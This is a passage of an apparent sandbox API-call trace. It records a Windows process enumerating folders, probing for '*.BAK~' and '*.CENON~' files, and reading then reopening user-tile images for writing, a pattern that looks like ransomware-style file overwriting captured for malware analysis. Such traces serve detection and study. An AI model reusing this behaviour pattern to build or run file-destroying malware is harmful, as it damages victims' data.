| out: lpFindFileData=0x1ae2a0) returned 1 [0114.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.395] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.395] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.396] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.396] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.397] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.397] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.397] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.403] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.403] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.404] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.404] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.405] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.405] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.405] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.405] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.410] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.411] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.412] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.412] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.412] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.412] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.412] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.418] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.419] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.420] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.420] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.420] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.421] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0114.427] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.427] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.428] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.429] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.429] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.429] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.435] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.436] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.436] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.437] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.437] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.437] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.437] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.443] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.444] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.445] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.445] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.445] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.446] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.446] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.446] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 0 [0114.452] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.452] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.453] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.453] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.454] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.454] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.454] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.460] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.460] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.461] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.461] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.462] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.462] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.462] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.462] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 1 [0114.462] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae020 | out: lpFindFileData=0x1ae020) returned 0 [0114.468] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.468] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.469] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.470] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.470] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.470] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.470] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 0 [0114.478] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.478] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.480] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.480] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 1 [0114.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adee0 | out: lpFindFileData=0x1adee0) returned 0 [0114.487] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.488] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.489] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.489] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.489] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.489] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.490] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.490] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.490] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 0 [0114.497] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.497] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.498] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.498] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.499] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.499] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.499] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.499] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 1 [0114.499] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1adf80 | out: lpFindFileData=0x1adf80) returned 0 [0114.504] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.505] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.506] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.506] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.507] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.507] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.512] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.512] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.513] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.513] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.514] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.514] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.514] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.514] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.514] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.514] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.517] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.518] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 1 [0114.519] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 0 [0114.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.519] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.519] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a81b08, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a81b08*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.521] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.522] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.523] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.523] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a9aeb8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a9aeb8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.525] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" 